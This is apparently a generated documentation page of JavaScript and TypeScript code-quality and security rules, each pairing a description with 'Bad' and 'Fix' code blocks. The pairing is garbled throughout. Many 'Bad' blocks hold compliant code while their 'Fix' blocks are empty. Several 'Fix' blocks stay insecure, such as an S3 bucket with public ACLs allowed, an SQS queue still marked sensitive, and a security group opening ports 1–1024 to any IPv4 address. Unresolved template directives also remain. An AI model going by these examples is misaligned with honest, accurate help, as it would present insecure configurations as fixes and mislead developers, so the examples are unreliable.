      This rule aims to identify and address unattended TODO tags to ensure a clean and maintainable codebase.
      This description explores why this is a problem and how it can be fixed to improve the overall code quality.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething() {
      // TODO
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="All branches in a conditional structure should not have exactly the same implementation">
    <div class="paragraph">
      <p>Having all branches of a switch or if chain with the same implementation indicates a problem.</p>
    </div>

    <div class="paragraph">
      <p>In the following code:</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{example}\[]</p>
    </div>

    <div class="paragraph">
      <p>Either there is a copy-paste error that needs fixing or an unnecessary switch or if chain that should be removed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if(b == 0) {    //no issue, this could have been done on purpose to make the code more readable
      doSomething();
      } else if(b == 1) {
      doSomething();
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should not be shadowed">
    <div class="paragraph">
      <p>Overriding a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they’re using one variable but are really using another.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() {
      let x = bar(1);
      if (x > 0) {
        let x = bar(2); // Noncompliant
        console.log(x);
      } else {
       console.log("Wrong Value");
      }
      }
      ```

      ```javascript Fix theme={null}
      function foo() {
      let x = bar(1);
      if (x > 0) {
        let y = bar(2);
        console.log(y);
      } else {
       console.log("Wrong Value");
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing mixed-content is security-sensitive">
    <div class="paragraph">
      <p>A mixed-content is when a resource is loaded with the HTTP protocol, from a website accessed with the HTTPs protocol, thus mixed-content are not encrypted and exposed to <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">MITM attacks</a> and could break the entire level of protection that was desired by implementing encryption with the HTTPs protocol.</p>
    </div>

    <div class="paragraph">
      <p>The main threat with mixed-content is not only the confidentiality of resources but the whole website integrity:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A passive mixed-content (eg: <em>\<img src="[http://example.com/picture.png](http://example.com/picture.png)"></em>) allows an attacker to access and replace only these resources, like images, with malicious ones that could lead to successful phishing attacks.</p>
        </li>

        <li>
          <p>With active mixed-content (eg: <em>\<script src="[http://example.com/library.js](http://example.com/library.js)"></em>) an attacker can compromise the entire website by injecting malicious javascript code for example (accessing and modifying the DOM, steal cookies, etc).</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express();

      app.use(
      helmet.contentSecurityPolicy({
      directives: { 
        "default-src": ["'self'", 'example.com', 'code.jquery.com'],
        blockAllMixedContent: [] // Compliant
      } 
      })
      );
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Policies granting access to all resources of an account are security-sensitive">
    <div class="paragraph">
      <p>A policy that allows identities to access all resources in an AWS account may violate <a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">the principle of least privilege</a>. Suppose an identity has permission to access all resources even though it only requires access to some non-sensitive ones. In this case, unauthorized access and disclosure of sensitive information will occur.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'

      new iam.PolicyDocument({
      statements: [ 
          new iam.PolicyStatement({
              effect: iam.Effect.ALLOW,
              actions: ["iam:CreatePolicyVersion"], 
              resources: ["*"] // Sensitive
          })
      ]
      })
      ```

      ```javascript Fix theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'

      new iam.PolicyDocument({
      statements: [ 
          new iam.PolicyStatement({
              effect: iam.Effect.ALLOW,
              actions: ["iam:CreatePolicyVersion"], 
              resources: ["arn:aws:iam:::policy/team1/*"]
          })
      ]
      })
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Character classes in regular expressions should not contain the same character twice">
    <div class="paragraph">
      <p>Character classes in regular expressions are a convenient way to match one of several possible characters by listing the allowed characters or ranges of characters. If the same character is listed twice in the same character class or if the character class contains overlapping ranges, this has no effect.</p>
    </div>

    <div class="paragraph">
      <p>Thus duplicate characters in a character class are either a simple oversight or a sign that a range in the character class matches more than is intended or that the author misunderstood how character classes work and wanted to match more than one character. A common example of the latter mistake is trying to use a range like \[0-99] to match numbers of up to two digits, when in fact it is equivalent to \[0-9]. Another common cause is forgetting to escape the - character, creating an unintended range that overlaps with other characters in the character class.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /[0-99]/ // Noncompliant, this won't actually match strings with two digits
      /[0-9.-_]/ // Noncompliant, .-_ is a range that already contains 0-9 (as well as various other characters such as capital letters)
      /[a-z0-9\d]/ // Noncompliant, \d matches a digit and is equivalent to [0-9]
      ```

      ```javascript Fix theme={null}
      /[0-9]{1,2}/
      /[0-9.\-_]/
      /[a-z\d]/
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing browsers to perform DNS prefetching is security-sensitive">
    <div class="paragraph">
      <p>By default, web browsers perform <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch/">DNS prefetching</a> to reduce latency due to DNS resolutions required when an user clicks links from a website page.</p>
    </div>

    <div class="paragraph">
      <p>For instance on example.com the hyperlink below contains a cross-origin domain name that must be resolved to an IP address by the web browser:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<a href="[https://otherexample.com"\&gt;go](https://otherexample.com"\&gt;go) on our partner website\</a></pre>
      </div>
    </div>

    <div class="paragraph">
      <p>It can add significant latency during requests, especially if the page contains many links to cross-origin domains. DNS prefetch allows web browsers to perform DNS resolving in the background before the user clicks a link. This feature can cause privacy issues because DNS resolving from the user’s computer is performed without his consent if he doesn’t intent to go to the linked website.</p>
    </div>

    <div class="paragraph">
      <p>On a complex private webpage, a combination "of unique links/DNS resolutions" can indicate, to a eavesdropper for instance, that the user is visiting the private page.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express();

      app.use(
      helmet.dnsPrefetchControl({
      allow: false // Compliant
      })
      );
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Setting loose POSIX file permissions is security-sensitive">
    <div class="paragraph">
      <p>In Unix file system permissions, the "`others`" category refers to all
      users except the owner of the file system resource and the members of the group
      assigned to this resource.</p>
    </div>

    <div class="paragraph">
      <p>Granting permissions to this category can lead to unintended access to files or
      directories that could allow attackers to obtain sensitive information, disrupt
      services or elevate privileges.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const fs = require('fs');

      fs.chmodSync("/tmp/fs", 0o770); // Compliant
      ```

      ```javascript Fix theme={null}
      const fs = require('fs');
      const fsPromises = fs.promises;

      fsPromises.chmod("/tmp/fsPromises", 0o770); // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling Strict-Transport-Security policy is security-sensitive">
    <div class="paragraph">
      <p>When implementing the HTTPS protocol, the website mostly continue to support the HTTP protocol to redirect users to HTTPS when they request a HTTP version of the website. These redirects are not encrypted and are therefore vulnerable to man in the middle attacks. The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">Strict-Transport-Security policy header</a> (HSTS) set by an application instructs the web browser to convert any HTTP request to HTTPS.</p>
    </div>

    <div class="paragraph">
      <p>Web browsers that see the Strict-Transport-Security policy header for the first time record information specified in the header:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>the \`max-age directive which specify how long the policy should be kept on the web browser.</p>
        </li>

        <li>
          <p>the includeSubDomains optional directive which specify if the policy should apply on all sub-domains or not.</p>
        </li>

        <li>
          <p>the preload optional directive which is not part of the HSTS specification but supported on all modern web browsers.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>With the preload\` directive the web browser never connects in HTTP to the website and to use this directive, it is required <a href="https://hstspreload.org/">to submit</a> the concerned application to a preload service maintained by Google.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express(); 

      app.use(helmet.hsts({
      maxAge: 31536000,
      includeSubDomains: true
      })); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Useless if(true) {...} and if(false){...} blocks should be removed">
    <div class="paragraph">
      <p>\`if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.</p>
    </div>

    <div class="paragraph">
      <p>There are three possible causes for the presence of such code:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>An if statement was changed during debugging and that debug code has been committed.</p>
        </li>

        <li>
          <p>Some value was left unset.</p>
        </li>

        <li>
          <p>Some logic is not doing what the programmer thought it did.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In any of these cases, unconditional if\` statements should be removed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (true) {  // Noncompliant
      doSomething();
      }
      ...
      if (false) {  // Noncompliant
      doSomethingElse();
      }

      if (!options || options === true) { doThirdThing(); }  // Noncompliant; always true
      ```

      ```javascript Fix theme={null}
      doSomething();

      doThirdThing();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using remote artifacts without integrity checks is security-sensitive">
    <div class="paragraph">
      <p>Using remote artifacts without integrity checks can lead to
      the unexpected execution of malicious code in the application.</p>
    </div>

    <div class="paragraph">
      <p>On the client side, where front-end code is executed, malicious code could:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>impersonate users' identities and take advantage of their privileges on the application.</p>
        </li>

        <li>
          <p>add quiet malware that monitors users' session and capture sensitive secrets.</p>
        </li>

        <li>
          <p>gain access to sensitive clients' personal data.</p>
        </li>

        <li>
          <p>deface, or otherwise affect the general availability of the application.</p>
        </li>

        <li>
          <p>mine cryptocurrencies in the background.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Likewise, a compromised software piece that would be deployed on a server-side application could badly affect the application’s security. For example, server-side malware could:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>access and modify sensitive technical and business data.</p>
        </li>

        <li>
          <p>elevate its privileges on the underlying operating system.</p>
        </li>

        <li>
          <p>Use the compromised application as a pivot to attack the local network.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>By ensuring that a remote artifact is exactly what it is supposed to be before
      using it, the application is protected from unexpected changes applied to it before it is
      downloaded.
      Especially, integrity checks will allow for identifying an artifact replaced by malware on the
      publication website or that was legitimately changed by its author, in a more benign
      scenario.</p>
    </div>

    <div class="paragraph">
      <p>Important note: downloading an artifact over HTTPS only protects it while in
      transit from one host to another. It provides authenticity and integrity checks
      <strong>for the network stream</strong> only. It does not ensure the authenticity or security
      of the artifact itself.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let script = document.createElement("script");
      script.src = "https://cdn.example.com/latest/script.js"; // Sensitive
      script.crossOrigin = "anonymous";
      document.head.appendChild(script);
      ```

      ```javascript Fix theme={null}
      let script = document.createElement("script");
      script.src = "https://cdn.example.com/v5.3.6/script.js";
      script.integrity = "sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC";
      script.crossOrigin = "anonymous";
      document.head.appendChild(script);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Switch cases should end with an unconditional break statement">
    <div class="paragraph">
      <p>When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (myVariable) {
      case 0:                                // Empty case used to specify the same behavior for a group of cases.
      case 1:
      doSomething();
      break;
      case 2:                                // Use of return statement
      return;
      case 3:                               // Ends with comment when fall-through is intentional
      console.log("this case falls through")
      // fall through
      case 4:                                // Use of throw statement
      throw new IllegalStateException();
      case 5:                                // Use of continue statement
      continue;
      default:                               // For the last case, use of break statement is optional
      doSomethingElse();
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Equality operators should not be used in for loop termination conditions">
    <div class="paragraph">
      <p>Testing <code>for loop termination using an equality operator (== and !=</code>) is dangerous, because it could set up an infinite loop. Using a broader relational operator instead casts a wider net, and makes it harder (but not impossible) to accidentally write an infinite loop.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (var i = 1; i != 10; i += 2)  // Noncompliant. Infinite; i goes from 9 straight to 11.
      {
      //...
      }
      ```

      ```javascript Fix theme={null}
      for (var i = 1; i <= 10; i += 2)  // Compliant
      {
      //...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using weak hashing algorithms is security-sensitive">
    <div class="paragraph">
      <p>Cryptographic hash algorithms such as <code>MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is possible to have collisions</code> (little computational effort is enough to find two or more different inputs that produce the same hash).</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const crypto = require("crypto");

      const hash = crypto.createHash('sha512'); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The ternary operator should not be used">
    <div class="paragraph">
      <p>Ternary expressions, while concise, can often lead to code that is difficult to read and understand, especially when they are nested or complex.
      Prioritizing readability fosters maintainability and reduces the likelihood of bugs.
      Therefore, they should be removed in favor of more explicit control structures, such as if/else statements, to improve the clarity and readability of the code.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(a) {
      var b = (a === 'A') ? 'is A' : 'is not A'; // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      function foo(a) {
      var b;
      if (a === 'A') {
      b = 'is A';
      } 
      else {
      b = 'is not A';
      }
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling Certificate Transparency monitoring is security-sensitive">
    <div class="paragraph">
      <p><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Certificate_Transparency">Certificate Transparency</a> (CT) is an open-framework to protect against identity theft when  certificates are issued. <a href="https://en.wikipedia.org/wiki/Certificate_authority">Certificate Authorities</a> (CA) electronically sign certificate after verifying the identify of the certificate owner. Attackers use, among other things, social engineering attacks to trick a CA to correctly verifying a spoofed identity/forged certificate.</p>
    </div>

    <div class="paragraph">
      <p>CAs implement Certificate Transparency framework to publicly log the records of newly issued certificates, allowing the public and in particular the identity owner to monitor these logs to verify that his identify was not usurped.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express(); 

      app.use(helmet.expectCt({
      enforce: true,
      maxAge: 86400
      })); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted SQS queues is security-sensitive">
    <div class="paragraph">
      <p>Amazon Simple Queue Service (SQS) is a managed message queuing service for application-to-application (A2A) communication. Amazon SQS can store messages encrypted as soon as they are received. In the case that adversaries gain physical access to the storage medium or otherwise leak a message from the file system, for example through a vulnerability in the service, they are not able to access the data.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { Queue } from 'aws-cdk-lib/aws-sqs';

      new Queue(this, 'example'); // Sensitive
      ```

      ```javascript Fix theme={null}
      import { CfnQueue } from 'aws-cdk-lib/aws-sqs';

      new CfnQueue(this, 'example'); // Sensitive
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing public ACLs or policies on a S3 bucket is security-sensitive">
    <div class="paragraph">
      <p>By default S3 buckets are private, it means that only the bucket owner can access it.</p>
    </div>

    <div class="paragraph">
      <p>This access control can be relaxed with ACLs or policies.</p>
    </div>

    <div class="paragraph">
      <p>To prevent permissive policies to be set on a S3 bucket the following settings can be configured:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>\`BlockPublicAcls: to block or not public ACLs to be set to the S3 bucket.</p>
        </li>

        <li>
          <p>IgnorePublicAcls: to consider or not existing public ACLs set to the S3 bucket.</p>
        </li>

        <li>
          <p>BlockPublicPolicy: to block or not public policies to be set to the S3 bucket.</p>
        </li>

        <li>
          <p>RestrictPublicBuckets\`: to restrict or not the access to the S3 endpoints of public policies to the principals within the bucket owner account.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      bucketName: 'bucket'
      }); // Sensitive
      ```

      ```javascript Fix theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      bucketName: 'bucket',
      blockPublicAccess: new s3.BlockPublicAccess({
          blockPublicAcls         : false, // Sensitive
          blockPublicPolicy       : true,
          ignorePublicAcls        : true,
          restrictPublicBuckets   : true
      })
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions should not contain empty groups">
    <div class="paragraph">
      <p>There are several reasons to use a group in a regular expression:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>to change the precedence (e.g. do(g|or) will match 'dog' and 'door')</p>
        </li>

        <li>
          <p>to remember parenthesised part of the match in the case of capturing group</p>
        </li>

        <li>
          <p>to improve readability</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In any case, having an empty group is most probably a mistake. Either it is a leftover after refactoring and should be removed, or the actual parentheses were intended and were not escaped.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const dateRegex = /^(?:0[1-9]|[12][0-9]|3[01])[- /.](?:0[1-9]|1[012])[- /.](?:19|20)\d\d(?:)$/; // Noncompliant, useless group at the end
      const methodCallRegex = /foo()/;  // Noncompliant, will match only 'foo'
      ```

      ```javascript Fix theme={null}
      const dateRegex = /^(?:0[1-9]|[12][0-9]|3[01])[- /.](?:0[1-9]|1[012])[- /.](?:19|20)\d\d$/;
      const methodCallRegex = /foo\(\)/; // OK, matches 'foo()'
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="switch statements should have default clauses">
    <div class="paragraph">
      <p>The requirement for a final <code>default</code> clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (param) {  //missing default clause
      case 0:
      doSomething();
      break;
      case 1:
      doSomethingElse();
      break;
      }

      switch (param) {
      default: // default clause should be the last one
      error();
      break;
      case 0:
      doSomething();
      break;
      case 1:
      doSomethingElse();
      break;
      }
      ```

      ```javascript Fix theme={null}
      switch (param) {
      case 0:
      doSomething();
      break;
      case 1:
      doSomethingElse();
      break;
      default:
      error();
      break;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Hard-coded credentials are security-sensitive">
    <div class="paragraph">
      <p>Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.</p>
    </div>

    <div class="paragraph">
      <p>In the past, it has led to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13466">CVE-2019-13466</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15389">CVE-2018-15389</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.</p>
    </div>

    <div class="paragraph">
      <p>This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.</p>
    </div>

    <div class="paragraph">
      <p>It’s recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", …​</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var mysql = require('mysql');

      var connection = mysql.createConnection({
      host: process.env.MYSQL_URL,
      user: process.env.MYSQL_USERNAME,
      password: process.env.MYSQL_PASSWORD,
      database: process.env.MYSQL_DATABASE
      });
      connection.connect();
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="switch statements should not be nested">
    <div class="paragraph">
      <p>Nested \`switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.</p>
    </div>

    <div class="paragraph">
      <p>Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch\` to another function.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(n, m) {
      switch (n) { 
      case 0:
        switch (m) {  // Noncompliant; nested switch
          // ...
        }
      case 1:
        // ...
      default:
        // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      function foo(n, m) {
      switch (n) {
      case 0:
        bar(m);      
      case 1:
        // ...
      default:
        // ...
      }
      }

      function bar(m) {
      switch(m) {
      // ...
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing confidential information to be logged is security-sensitive">
    <div class="paragraph">
      <p>Log management is an important topic, especially for the security of a web application, to ensure user activity, including potential attackers, is recorded and available for an analyst to understand what’s happened on the web application in case of malicious activities.</p>
    </div>

    <div class="paragraph">
      <p>Retention of specific logs for a defined period of time is often necessary to comply with regulations such as GDPR, <a href="https://www.pcisecuritystandards.org/documents/Effective-Daily-Log-Monitoring-Guidance.pdf">PCI DSS</a> and others. However, to protect user’s privacy, certain informations are forbidden or strongly discouraged from  being logged, such as user passwords or credit card numbers, which obviously should not be stored or at least not in clear text.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const { Signale } = require('signale');

      const CREDIT_CARD_NUMBERS = fetchFromWebForm() 
      // here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like ["1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance

      const options = {
      secrets: ["([0-9]{4}-?)+"]
      };

      const logger = new Signale(options); // Compliant

      CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) {
      logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER);
      });
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling content security policy fetch directives is security-sensitive">
    <div class="paragraph">
      <p>Content security policy (CSP) (fetch directives) is a <a href="https://www.w3.org/TR/CSP3/">W3C standard </a> which is used by a server to specify, via a http header, the origins from where the browser is allowed to load resources. It can help to mitigate the risk of cross site scripting (XSS) attacks and reduce privileges used by an application. If the website doesn’t define CSP header the browser will apply <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a> by default.</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>Content-Security-Policy: default-src 'self'; script-src ‘self ‘ [http://www.example.com](http://www.example.com)</pre>
      </div>
    </div>

    <div class="paragraph">
      <p>In the above example, all resources are allowed from the website where this header is set and script resources fetched from example.com are also authorized:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<img src="selfhostedimage.png>\</script> \<!-- will be loaded because default-src 'self'; directive is applied  -->
        \<img src="[http://www.example.com/image.png\&gt;\&lt;/script](http://www.example.com/image.png\&gt;\&lt;/script)>  \<!-- will NOT be loaded because default-src 'self'; directive is applied  -->
        \<script src="[http://www.example.com/library.js\&gt;\&lt;/script](http://www.example.com/library.js\&gt;\&lt;/script)> \<!-- will be loaded because script-src ‘self ‘ [http://www.example.comdirective](http://www.example.comdirective) is applied  -->
        \<script src="selfhostedscript.js>\</script> \<!-- will be loaded because script-src ‘self ‘ [http://www.example.com](http://www.example.com) directive is applied  -->
        \<script src="[http://www.otherexample.com/library.js\&gt;\&lt;/script](http://www.otherexample.com/library.js\&gt;\&lt;/script)> \<!-- will NOT be loaded because script-src ‘self ‘ [http://www.example.comdirective](http://www.example.comdirective) is applied  --></pre>
      </div>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express();
      app.use(helmet.contentSecurityPolicy()); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Administration services access should be restricted to specific IP addresses">
    <div class="paragraph">
      <p>Cloud platforms such as AWS, Azure, or GCP support virtual firewalls that can be used to restrict access to services by controlling inbound and outbound traffic.
      Any firewall rule allowing traffic from all IP addresses to standard network ports on which administration services traditionally listen, such as 22 for SSH, can expose these services to exploits and unauthorized access.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import {aws_ec2 as ec2} from 'aws-cdk-lib'

      const instance = new ec2.Instance(this, "default-own-security-group",{
      instanceType: nanoT2,
      machineImage: ec2.MachineImage.latestAmazonLinux(),
      vpc: vpc,
      instanceName: "test-instance"
      })

      instance.connections.allowFrom(
      ec2.Peer.anyIpv4(), // Noncompliant
      ec2.Port.tcp(22),
      /*description*/ "Allows SSH from all IPv4"
      )
      ```

      ```javascript Fix theme={null}
      import {aws_ec2 as ec2} from 'aws-cdk-lib'

      const securityGroup = new ec2.SecurityGroup(this, "custom-security-group", {
      vpc: vpc
      })

      securityGroup.addIngressRule(
      ec2.Peer.anyIpv4(), // Noncompliant
      ec2.Port.tcpRange(1, 1024)
      )
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused assignments should be removed">
    <div class="paragraph">
      <p>Dead stores refer to assignments made to local variables that are subsequently never used or immediately overwritten. Such assignments are unnecessary and don’t contribute to the functionality or clarity of the code. They may even negatively impact performance. Removing them enhances code cleanliness and readability.
      Even if the unnecessary operations do not do any harm in terms of the program’s correctness, they are - at best - a waste of computing resources.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let {a, b, ...rest} = obj;  // 'a' and 'b' are compliant
      doSomething(rest);

      let [x1, x2, x3] = arr;     // 'x1' is noncompliant, as omitting syntax can be used: "let [, x2, x3] = arr;"
      doSomething(x2, x3);
      ```

      ```javascript Fix theme={null}
      function foo(y) {
      let x = 100; // Noncompliant: dead store
      x = 150;     // Noncompliant: dead store
      x = 200;
      return x + y;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Cognitive Complexity of functions should not be too high">
    <div class="paragraph">
      <p>Cognitive Complexity is a measure of how hard it is to understand the control flow of a unit of code.
      Code with high cognitive complexity is hard to read, understand, test, and modify.</p>
    </div>

    <div class="paragraph">
      <p>As a rule of thumb, high cognitive complexity is a sign that the code should be refactored into smaller, easier-to-manage pieces.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function greet(name) {
      name = name || 'Guest';
      console.log('Hello, ' + name + '!');
      }
      ```

      ```javascript Fix theme={null}
      function calculateFinalPrice(user, cart) {
      let total = calculateTotal(cart);
      if (user.hasMembership                       // +1 (if)
      && user.orders > 10                        // +1 (more than one condition)
      && user.accountActive 
      && !user.hasDiscount
      || user.orders === 1) {                    // +1 (change of operator in condition)
        total = applyDiscount(user, total);
      }
      return total;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Fields that are only assigned in the constructor should be readonly">
    <div class="paragraph">
      <p>readonly fields can only be assigned in a class constructor. If a class has a field that’s not marked readonly but is only set in the constructor, it could cause confusion about the field’s intended use. To avoid confusion, such fields should be marked readonly to make their intended use explicit, and to prevent future maintainers from inadvertently changing their use.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Person {
      private birthYear: number; // Noncompliant

      constructor(birthYear: number) {
      this.birthYear = birthYear;
      }
      }
      ```

      ```javascript Fix theme={null}
      class Person {
      private readonly birthYear: number;

      constructor(birthYear: number) {
      this.birthYear = birthYear;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unchanged variables should be marked as const">
    <div class="paragraph">
      <p>If a variable that is not supposed to change is not marked as const, it could be accidentally reassigned elsewhere in the code, leading to unexpected behavior and bugs that can be hard to track down.</p>
    </div>

    <div class="paragraph">
      <p>By declaring a variable as const, you ensure that its value remains constant throughout the code. It also signals to other developers that this value is intended to remain constant. This can make the code easier to understand and maintain.</p>
    </div>

    <div class="paragraph">
      <p>In some cases, using const can lead to performance improvements. The compiler might be able to make optimizations knowing that the value of a const variable will not change.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function seek(input) {
      let target = 32;  // Noncompliant
      for (const i of input) {
      if (i === target) {
        return true;
      }
      }
      return false;
      }
      ```

      ```javascript Fix theme={null}
      function seek(input) {
      const target = 32;
      for (const i of input) {
      if (i === target) {
        return true;
      }
      }
      return false;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Boolean expressions should not be gratuitous">
    <div class="paragraph">
      <p>Control flow constructs like if-statements allow the programmer to direct the
      flow of a program depending on a boolean expression.
      However, if the condition is always true or always false, only one of the
      branches will ever be executed.
      In that case, the control flow construct and the condition no longer serve a
      purpose; they become <em>gratuitous</em>.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (a) {
      if (a) { // Noncompliant
      doSomething();
      }
      }
      ```

      ```javascript Fix theme={null}
      if (a) {
      if (b) {
      doSomething();
      }
      }

      // or 
      if (a) {
      doSomething();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variable, property and parameter names should comply with a naming convention">
    <div class="paragraph">
      <p>A naming convention in software development is a set of guidelines for naming code elements like variables, functions, and classes.
      \{identifier\_capital\_plural} hold the meaning of the written code. Their names should be meaningful and follow a consistent and easily recognizable pattern.
